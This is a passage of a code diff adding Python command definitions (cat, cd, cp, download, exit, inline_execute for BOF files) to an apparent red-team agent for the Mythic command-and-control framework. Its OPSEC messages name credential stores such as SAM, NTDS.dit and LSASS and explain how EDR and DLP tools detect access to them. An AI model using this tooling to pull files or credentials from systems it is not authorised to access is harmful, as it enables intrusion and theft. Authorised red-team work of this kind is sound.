message += "🔍 DETECTION RISKS:\n"
|
||||
message += " • File access events (if auditing enabled)\n"
|
||||
message += " • Sensitive file patterns (DLP detection)\n"
|
||||
message += " • Credential detection (if file contains credentials)\n"
|
||||
message += " • Unusual file access patterns\n\n"
|
||||
message += "💡 CONSIDERATIONS:\n"
|
||||
message += " • Sensitive files (credentials, databases) are heavily monitored\n"
|
||||
message += " • Credentials found in file will be automatically reported\n"
|
||||
message += " • File content may be logged by DLP systems\n\n"
|
||||
message += "✅ This is a WARNING only - command will proceed.\n"
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPreTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPreBlocked=False,
|
||||
OpsecPreBypassRole="operator",
|
||||
OpsecPreMessage=message
|
||||
)
|
||||
|
||||
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check after creating the task.
|
||||
Warns about artifacts that will be created.
|
||||
"""
|
||||
file_path = taskData.args.get_arg("file") or ""
|
||||
|
||||
message = "⚠️ OPSEC POST-CHECK - File Read Artifacts\n\n"
|
||||
message += "This task will create the following artifacts:\n"
|
||||
message += " • File Access: Read operations on target file\n"
|
||||
message += " • File Content: File data retrieved and analyzed\n"
|
||||
message += " • Credential Detection: Automatic credential scanning (if found)\n"
|
||||
message += " • File Access Logs: Event logs (if auditing enabled)\n\n"
|
||||
|
||||
if file_path:
|
||||
message += f"Target File: {file_path}\n\n"
|
||||
|
||||
message += "🔍 DETECTION RISKS:\n"
|
||||
message += " • EDR/XDR file access monitoring\n"
|
||||
message += " • DLP systems (sensitive file detection)\n"
|
||||
message += " • File access auditing (if enabled)\n"
|
||||
message += " • Credential extraction detection\n\n"
|
||||
message += "⚠️ HIGH DETECTION PROBABILITY IF:\n"
|
||||
message += " • File contains credentials or sensitive data\n"
|
||||
message += " • File access auditing is enabled\n"
|
||||
message += " • DLP rules match file patterns\n"
|
||||
message += " • File is a security database (SAM, NTDS, etc.)\n\n"
|
||||
message += "✅ This is a WARNING only - task will proceed.\n"
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPostTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPostBlocked=False,
|
||||
OpsecPostBypassRole="operator",
|
||||
OpsecPostMessage=message
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
"""
|
||||
Process response from agent.
|
||||
Note: The cat command automatically detects and reports credentials if found in file content.
|
||||
"""
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
|
||||
|
||||
class CdArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="path",
|
||||
type=ParameterType.String,
|
||||
description="Path al que cambiar.",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=True
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Es necesario agregar un path.")
|
||||
self.add_arg("path", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary):
|
||||
self.load_args_from_dictionary(dictionary)
|
||||
|
||||
class CdCommand(CommandBase):
|
||||
cmd = "cd"
|
||||
needs_admin = False
|
||||
help_cmd = "cd <path>"
|
||||
description = "Change the current working directory for the agent. The new directory path is automatically tracked and displayed in the Mythic UI context tabs. Supports both absolute paths (e.g., 'C:\\Windows\\System32') and relative paths. The current directory is used by other file system commands (cat, download, upload, etc.) when relative paths are provided."
|
||||
version = 1
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = []
|
||||
argument_class = CdArguments
|
||||
attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
suggested_command=False
|
||||
)
|
||||
|
||||
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
# task.display_params = task.args.get_arg("command")
|
||||
# return task
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
@@ -0,0 +1,183 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
|
||||
class CpArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="fichero existente",
|
||||
type=ParameterType.String,
|
||||
description="Ruta del fichero a copiar",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=True,
|
||||
ui_position=1
|
||||
)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="fichero nuevo",
|
||||
type=ParameterType.String,
|
||||
description="Ruta del nuevo fichero",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=True,
|
||||
ui_position=2
|
||||
)]
|
||||
)
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Este comando necesita parametros")
|
||||
self.add_arg("command", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
|
||||
class CpCommand(CommandBase):
|
||||
cmd = "cp"
|
||||
needs_admin = False
|
||||
help_cmd = "cp <source_path> <destination_path>"
|
||||
description = "Copy a file from a source location to a destination path on the target system. Supports both absolute and relative paths (relative paths are resolved using the current working directory). The destination file will be overwritten if it already exists. Creates a 'File Write' artifact for the destination file. Useful for creating backups, moving files, or preparing payloads in staging directories."
|
||||
version = 1
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = []
|
||||
argument_class = CpArguments
|
||||
attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
suggested_command=False
|
||||
)
|
||||
|
||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check before creating the task.
|
||||
Warns about file copy risks, especially for sensitive files.
|
||||
"""
|
||||
source_path = taskData.args.get_arg("fichero existente") or ""
|
||||
dest_path = taskData.args.get_arg("fichero nuevo") or ""
|
||||
|
||||
# Sensitive file patterns
|
||||
sensitive_patterns = {
|
||||
"sam": "SAM database - Credential extraction heavily monitored",
|
||||
"system": "SYSTEM hive - Registry access logged",
|
||||
"security": "SECURITY hive - Security database access logged",
|
||||
"ntds.dit": "NTDS.dit - Active Directory database, highly monitored",
|
||||
"lsass": "LSASS memory - Credential extraction heavily monitored",
|
||||
}
|
||||
|
||||
# Sensitive locations
|
||||
sensitive_locations = {
|
||||
"system32": "System32 directory - Highly monitored",
|
||||
"syswow64": "SysWOW64 directory - Highly monitored",
|
||||
"windows": "Windows directory - Highly monitored",
|
||||
}
|
||||
|
||||
warnings = []
|
||||
source_lower = source_path.lower()
|
||||
dest_lower = dest_path.lower()
|
||||
|
||||
for pattern, reason in sensitive_patterns.items():
|
||||
if pattern in source_lower:
|
||||
warnings.append(f"🚨 Source contains {pattern}: {reason}")
|
||||
if pattern in dest_lower:
|
||||
warnings.append(f"🚨 Destination contains {pattern}: {reason}")
|
||||
|
||||
for location, reason in sensitive_locations.items():
|
||||
if location in source_lower:
|
||||
warnings.append(f"⚠️ Source: {location} - {reason}")
|
||||
if location in dest_lower:
|
||||
warnings.append(f"⚠️ Destination: {location} - {reason}")
|
||||
|
||||
message = "⚠️ OPSEC WARNING - File Copy Detected\n\n"
|
||||
message += "File copying is monitored by:\n"
|
||||
message += " • EDR/XDR solutions (file operations monitoring)\n"
|
||||
message += " • Data loss prevention (DLP) systems\n"
|
||||
message += " • File access auditing (if enabled)\n"
|
||||
message += " • File integrity monitoring\n\n"
|
||||
|
||||
if source_path:
|
||||
message += f"Source File: {source_path}\n"
|
||||
if dest_path:
|
||||
message += f"Destination: {dest_path}\n"
|
||||
if source_path or dest_path:
|
||||
message += "\n"
|
||||
|
||||
if warnings:
|
||||
message += "🚨 RISKS DETECTED:\n"
|
||||
for warning in warnings:
|
||||
message += f" {warning}\n"
|
||||
message += "\n"
|
||||
|
||||
message += "🔍 DETECTION RISKS:\n"
|
||||
message += " • File read/write events (if auditing enabled)\n"
|
||||
message += " • Sensitive file patterns (DLP detection)\n"
|
||||
message += " • File operations monitoring\n"
|
||||
message += " • System file modification detection\n\n"
|
||||
message += "💡 CONSIDERATIONS:\n"
|
||||
message += " • Copying sensitive files (credentials, databases) is monitored\n"
|
||||
message += " • System directories are highly monitored\n"
|
||||
message += " • File operations may be logged\n\n"
|
||||
message += "✅ This is a WARNING only - command will proceed.\n"
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPreTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPreBlocked=False,
|
||||
OpsecPreBypassRole="operator",
|
||||
OpsecPreMessage=message
|
||||
)
|
||||
|
||||
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check after creating the task.
|
||||
Warns about artifacts that will be created.
|
||||
"""
|
||||
source_path = taskData.args.get_arg("fichero existente") or ""
|
||||
dest_path = taskData.args.get_arg("fichero nuevo") or ""
|
||||
|
||||
message = "⚠️ OPSEC POST-CHECK - File Copy Artifacts\n\n"
|
||||
message += "This task will create the following artifacts:\n"
|
||||
message += " • File Read: Read operations on source file\n"
|
||||
message += " • File Write: Write operations to destination\n"
|
||||
message += " • File Copy: CopyFile API calls\n"
|
||||
message += " • File Access Logs: Event logs (if auditing enabled)\n\n"
|
||||
|
||||
if source_path:
|
||||
message += f"Source File: {source_path}\n"
|
||||
if dest_path:
|
||||
message += f"Destination: {dest_path}\n"
|
||||
if source_path or dest_path:
|
||||
message += "\n"
|
||||
|
||||
message += "🔍 DETECTION RISKS:\n"
|
||||
message += " • EDR/XDR file operation monitoring\n"
|
||||
message += " • DLP systems (sensitive file detection)\n"
|
||||
message += " • File access auditing (if enabled)\n"
|
||||
message += " • File integrity monitoring\n\n"
|
||||
message += "⚠️ HIGH DETECTION PROBABILITY IF:\n"
|
||||
message += " • Source or destination contains sensitive files\n"
|
||||
message += " • Copying to/from system directories\n"
|
||||
message += " • File access auditing is enabled\n"
|
||||
message += " • DLP rules match file patterns\n\n"
|
||||
message += "✅ This is a WARNING only - task will proceed.\n"
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPostTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPostBlocked=False,
|
||||
OpsecPostBypassRole="operator",
|
||||
OpsecPostMessage=message
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
@@ -0,0 +1,150 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
|
||||
|
||||
class DownloadArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="file",
|
||||
type=ParameterType.String,
|
||||
description="Path to the file to download from the target",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=True
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply a path to download")
|
||||
self.add_arg("file", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
if "file" in dictionary_arguments:
|
||||
self.add_arg("file", dictionary_arguments["file"])
|
||||
|
||||
|
||||
class DownloadCommand(CommandBase):
|
||||
cmd = "download"
|
||||
needs_admin = False
|
||||
help_cmd = "download <file_path>"
|
||||
description = "Download a file from the target system to the Mythic server. Supports files up to 2GB in size. Files are transferred in 512KB chunks for efficient transmission. Supports both absolute and relative paths (relative paths are resolved using the current working directory). Compatible with Mythic File Browser for interactive file selection. Large files or sensitive files may trigger detection by EDR/XDR solutions and data loss prevention (DLP) systems."
|
||||
version = 1
|
||||
supported_ui_features = ["file_browser:download"]
|
||||
author = "@KaseyaOFSTeam"
|
||||
argument_class = DownloadArguments
|
||||
attributes = CommandAttributes(
|
||||
supported_os=[SupportedOS.Windows]
|
||||
)
|
||||
|
||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check before creating the task.
|
||||
Warns about file download risks.
|
||||
"""
|
||||
file_path = taskData.args.get_arg("file") or ""
|
||||
|
||||
# Sensitive file patterns
|
||||
sensitive_patterns = {
|
||||
"sam": "SAM database - Credential extraction heavily monitored",
|
||||
"system": "SYSTEM hive - Registry access logged",
|
||||
"security": "SECURITY hive - Security database access logged",
|
||||
"ntds.dit": "NTDS.dit - Active Directory database, highly monitored",
|
||||
"lsass": "LSASS memory - Credential extraction heavily monitored",
|
||||
"passwd": "Password files - Credential access monitored",
|
||||
"shadow": "Shadow files - Credential access monitored",
|
||||
}
|
||||
|
||||
warnings = []
|
||||
file_lower = file_path.lower()
|
||||
|
||||
for pattern, reason in sensitive_patterns.items():
|
||||
if pattern in file_lower:
|
||||
warnings.append(f"🚨 {pattern}: {reason}")
|
||||
|
||||
message = "⚠️ OPSEC WARNING - File Download Detected\n\n"
|
||||
message += "File downloads are monitored by:\n"
|
||||
message += " • EDR/XDR solutions\n"
|
||||
message += " • Data loss prevention (DLP) systems\n"
|
||||
message += " • File access monitoring tools\n"
|
||||
message += " • Network monitoring (large file transfers)\n\n"
|
||||
|
||||
if file_path:
|
||||
message += f"Target File: {file_path}\n\n"
|
||||
|
||||
if warnings:
|
||||
message += "🚨 SENSITIVE FILE DETECTED:\n"
|
||||
for warning in warnings:
|
||||
message += f" {warning}\n"
|
||||
message += "\n"
|
||||
|
||||
message += "🔍 DETECTION RISKS:\n"
|
||||
message += " • File access events (if auditing enabled)\n"
|
||||
message += " • Large file transfers (network monitoring)\n"
|
||||
message += " • Sensitive file patterns (DLP detection)\n"
|
||||
message += " • Unusual file access patterns\n\n"
|
||||
message += "💡 CONSIDERATIONS:\n"
|
||||
message += " • Sensitive files (credentials, databases) are heavily monitored\n"
|
||||
message += " • Large files may trigger network alerts\n"
|
||||
message += " • Multiple downloads may be suspicious\n\n"
|
||||
message += "✅ This is a WARNING only - command will proceed.\n"
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPreTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPreBlocked=False,
|
||||
OpsecPreBypassRole="operator",
|
||||
OpsecPreMessage=message
|
||||
)
|
||||
|
||||
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check after creating the task.
|
||||
Warns about artifacts that will be created.
|
||||
"""
|
||||
file_path = taskData.args.get_arg("file") or ""
|
||||
|
||||
message = "⚠️ OPSEC POST-CHECK - File Download Artifacts\n\n"
|
||||
message += "This task will create the following artifacts:\n"
|
||||
message += " • File Access: Read operations on target file\n"
|
||||
message += " • Network Activity: File data transmission to Mythic\n"
|
||||
message += " • File Access Logs: Event logs (if auditing enabled)\n\n"
|
||||
|
||||
if file_path:
|
||||
message += f"Target File: {file_path}\n\n"
|
||||
|
||||
message += "🔍 DETECTION RISKS:\n"
|
||||
message += " • EDR/XDR file access monitoring\n"
|
||||
message += " • DLP systems (sensitive file detection)\n"
|
||||
message += " • Network monitoring (large transfers)\n"
|
||||
message += " • File access auditing (if enabled)\n\n"
|
||||
message += "⚠️ HIGH DETECTION PROBABILITY IF:\n"
|
||||
message += " • File contains credentials or sensitive data\n"
|
||||
message += " • File is large (network anomaly detection)\n"
|
||||
message += " • File access auditing is enabled\n"
|
||||
message += " • DLP rules match file patterns\n\n"
|
||||
message += "✅ This is a WARNING only - task will proceed.\n"
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPostTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPostBlocked=False,
|
||||
OpsecPostBypassRole="operator",
|
||||
OpsecPostMessage=message
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import json
|
||||
|
||||
|
||||
class ExitArguments(TaskArguments):
|
||||
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = []
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) > 0:
|
||||
raise Exception("Exit command takes no parameters.")
|
||||
|
||||
|
||||
class ExitCommand(CommandBase):
|
||||
cmd = "exit"
|
||||
needs_admin = False
|
||||
help_cmd = "exit"
|
||||
description = "Instruct the agent to exit and terminate. The agent will perform cleanup operations and then terminate its process. This command is permanent - the agent will stop running and will not check in again. Use this command when you want to remove the agent from the target system or when operational requirements dictate agent termination. Compatible with Mythic's callback table exit functionality."
|
||||
version = 1
|
||||
is_exit = True # Important: marks this as an exit command (like Athena)
|
||||
supported_ui_features = ["callback_table:exit"]
|
||||
author = "Kaseya OFSTeam"
|
||||
argument_class = ExitArguments
|
||||
attackmapping = []
|
||||
attributes = CommandAttributes(
|
||||
supported_os=[SupportedOS.Windows],
|
||||
builtin=True
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
# Don't mark as completed immediately - let the agent send the response
|
||||
# This follows Xenon and Athena's pattern
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
# Mark task as completed explicitly when we receive the response
|
||||
resp.Completed = True
|
||||
return resp
|
||||
@@ -0,0 +1,380 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import json
|
||||
|
||||
# Completion callback for BOF execution
|
||||
async def coff_completion_callback(completionMsg: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse:
|
||||
try:
|
||||
out = ""
|
||||
response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True)
|
||||
|
||||
# Get parent task ID
|
||||
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
|
||||
if not parent_task_id:
|
||||
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No parent task ID found")
|
||||
|
||||
# Get subtask ID
|
||||
subtask_id = None
|
||||
if hasattr(completionMsg, 'SubtaskData') and completionMsg.SubtaskData:
|
||||
if hasattr(completionMsg.SubtaskData, 'Task') and completionMsg.SubtaskData.Task:
|
||||
subtask_id = completionMsg.SubtaskData.Task.ID
|
||||
|
||||
if not subtask_id:
|
||||
# Try alternative attribute names
|
||||
if hasattr(completionMsg, 'Subtask') and completionMsg.Subtask:
|
||||
if hasattr(completionMsg.Subtask, 'ID'):
|
||||
subtask_id = completionMsg.Subtask.ID
|
||||
elif hasattr(completionMsg.Subtask, 'TaskID'):
|
||||
subtask_id = completionMsg.Subtask.TaskID
|
||||
|
||||
if not subtask_id:
|
||||
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
|
||||
TaskID=parent_task_id,
|
||||
Response="[ERROR] No subtask ID found in completion message"
|
||||
))
|
||||
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No subtask ID found")
|
||||
|
||||
# Search for responses from the subtask
|
||||
responses = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage(TaskID=subtask_id))
|
||||
|
||||
if not responses.Success:
|
||||
error_detail = getattr(responses, 'Error', 'Unknown error') if hasattr(responses, 'Error') else 'Unknown error'
|
||||
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
|
||||
TaskID=parent_task_id,
|
||||
Response=f"[ERROR] Failed to search responses for subtask {subtask_id}: {error_detail}"
|
||||
))
|
||||
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error=error_detail)
|
||||
|
||||
# Process responses if they exist
|
||||
responses_list = None
|
||||
if hasattr(responses, 'Responses'):
|
||||
responses_list = responses.Responses
|
||||
elif hasattr(responses, 'responses'):
|
||||
responses_list = responses.responses
|
||||
elif hasattr(responses, 'Response'):
|
||||
responses_list = [responses.Response] if responses.Response else []
|
||||
|
||||
if responses_list:
|
||||
for output in responses_list:
|
||||
if hasattr(output, 'Response'):
|
||||
out += str(output.Response)
|
||||
elif hasattr(output, 'response'):
|
||||
out += str(output.response)
|
||||
elif hasattr(output, 'Message'):
|
||||
out += str(output.Message)
|
||||
elif hasattr(output, 'message'):
|
||||
out += str(output.message)
|
||||
elif isinstance(output, str):
|
||||
out += output
|
||||
elif isinstance(output, bytes):
|
||||
out += output.decode('utf-8', errors='ignore')
|
||||
else:
|
||||
out += str(output)
|
||||
|
||||
# If no output was found, indicate successful execution
|
||||
if not out:
|
||||
out = "[BOF executed successfully but produced no output]"
|
||||
|
||||
# Send the aggregated output back to the parent task
|
||||
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
|
||||
TaskID=parent_task_id,
|
||||
Response=out
|
||||
))
|
||||
return response
|
||||
|
||||
except Exception as e:
|
||||
import traceback
|
||||
error_msg = f"[ERROR] Exception in coff_completion_callback: {str(e)}\n{traceback.format_exc()}"
|
||||
try:
|
||||
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
|
||||
if parent_task_id:
|
||||
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
|
||||
TaskID=parent_task_id,
|
||||
Response=error_msg
|
||||
))
|
||||
except:
|
||||
pass # If we can't send the error, at least return failure
|
||||
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error=str(e))
|
||||
|
||||
class InlineExecuteArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="bof_name",
|
||||
cli_name="BOF",
|
||||
display_name="BOF",
|
||||
type=ParameterType.ChooseOne,
|
||||
dynamic_query_function=self.get_files,
|
||||
description="Already existing BOF to execute (e.g. whoami.x64.o)",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=True,
|
||||
group_name="Default",
|
||||
ui_position=1
|
||||
)
|
||||
]
|
||||
),
|
||||
CommandParameter(
|
||||
name="bof_file",
|
||||
display_name="New BOF",
|
||||
type=ParameterType.File,
|
||||
description="A new BOF to execute. After uploading once, you can just supply the bof_name parameter",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=True,
|
||||
group_name="New",
|
||||
ui_position=1,
|
||||
)
|
||||
]
|
||||
),
|
||||
CommandParameter(
|
||||
name="bof_arguments",
|
||||
cli_name="Arguments",
|
||||
display_name="Arguments",
|
||||
type=ParameterType.TypedArray,
|
||||
default_value=[],
|
||||
choices=["int16", "int32", "string", "wchar", "base64", "bytes"],
|
||||
description="""Arguments to pass to the BOF via the following way:
|
||||
-s:123 or int16:123
|
||||
-i:123 or int32:123
|
||||
-z:hello or string:hello
|
||||
-Z:hello or wchar:hello
|
||||
-b:abc== or base64:abc==
|
||||
bytes:hexstring (hexadecimal string of bytes)""",
|
||||
typedarray_parse_function=self.get_arguments,
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=False,
|
||||
group_name="Default",
|
||||
ui_position=4
|
||||
),
|
||||
ParameterGroupInfo(
|
||||
required=False,
|
||||
group_name="New",
|
||||
ui_position=4
|
||||
),
|
||||
]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
# This is only called when user types command directly
|
||||
# Subtasks use parse_dictionary instead
|
||||
if len(self.command_line) > 0:
|
||||
raise ValueError("Must supply named arguments or use the modal")
|
||||
# If command_line is empty, do nothing (subtask will use parse_dictionary)
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
# Allowed argument keys
|
||||
expected_args = {"bof_arguments", "bof_file", "bof_name"}
|
||||
|
||||
# Check if dictionary contains only allowed keys
|
||||
invalid_keys = set(dictionary_arguments.keys()) - expected_args
|
||||
if invalid_keys:
|
||||
raise ValueError(f"Invalid arguments provided: {', '.join(invalid_keys)}")
|
||||
|
||||
# Load only allowed arguments
|
||||
filtered_arguments = {k: v for k, v in dictionary_arguments.items() if k in expected_args}
|
||||
self.load_args_from_dictionary(filtered_arguments)
|
||||
|
||||
async def get_arguments(self, arguments: PTRPCTypedArrayParseFunctionMessage) -> PTRPCTypedArrayParseFunctionMessageResponse:
|
||||
argumentSplitArray = []
|
||||
for argValue in arguments.InputArray:
|
||||
argSplitResult = argValue.split(" ")
|
||||
for spaceSplitArg in argSplitResult:
|
||||
argumentSplitArray.append(spaceSplitArg)
|
||||
bof_arguments = []
|
||||
for argument in argumentSplitArray:
|
||||
if ":" not in argument:
|
||||
continue
|
||||
argType,value = argument.split(":",1)
|
||||
value = value.strip("\'").strip("\"")
|
||||
if argType == "":
|
||||
pass
|
||||
elif argType == "int16" or argType == "-s" or argType == "s":
|
||||
bof_arguments.append(["int16", int(value)])
|
||||
elif argType == "int32" or argType == "-i" or argType == "i":
|
||||
bof_arguments.append(["int32", int(value)])
|
||||
elif argType == "string" or argType == "-z" or argType == "z":
|
||||
bof_arguments.append(["string",value])
|
||||
elif argType == "wchar" or argType == "-Z" or argType == "Z":
|
||||
bof_arguments.append(["wchar",value])
|
||||
elif argType == "base64" or argType == "-b" or argType == "b":
|
||||
bof_arguments.append(["base64",value])
|
||||
elif argType == "bytes":
|
||||
# bytes type expects a hexadecimal string
|
||||
bof_arguments.append(["bytes",value])
|
||||
else:
|
||||
return PTRPCTypedArrayParseFunctionMessageResponse(Success=False,
|
||||
Error=f"Failed to parse argument: {argument}: Unknown value type.")
|
||||
|
||||
argumentResponse = PTRPCTypedArrayParseFunctionMessageResponse(Success=True, TypedArray=bof_arguments)
|
||||
return argumentResponse
|
||||
|
||||
async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse:
|
||||
response = PTRPCDynamicQueryFunctionMessageResponse()
|
||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||
CallbackID=callback.Callback,
|
||||
LimitByCallback=False,
|
||||
IsDownloadFromAgent=False,
|
||||
IsScreenshot=False,
|
||||
IsPayload=False,
|
||||
Filename="",
|
||||
))
|
||||
if file_resp.Success:
|
||||
file_names = []
|
||||
for f in file_resp.Files:
|
||||
if f.Filename not in file_names and f.Filename.endswith(".o"):
|
||||
file_names.append(f.Filename)
|
||||
response.Success = True
|
||||
response.Choices = file_names
|
||||
return response
|
||||
else:
|
||||
await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage(
|
||||
CallbackId=callback.Callback,
|
||||
Message=f"Failed to get files: {file_resp.Error}",
|
||||
MessageLevel="warning"
|
||||
))
|
||||
response.Error = f"Failed to get files: {file_resp.Error}"
|
||||
return response
|
||||
|
||||
|
||||
class InlineExecuteCommand(CommandBase):
|
||||
cmd = "inline_execute"
|
||||
needs_admin = False
|
||||
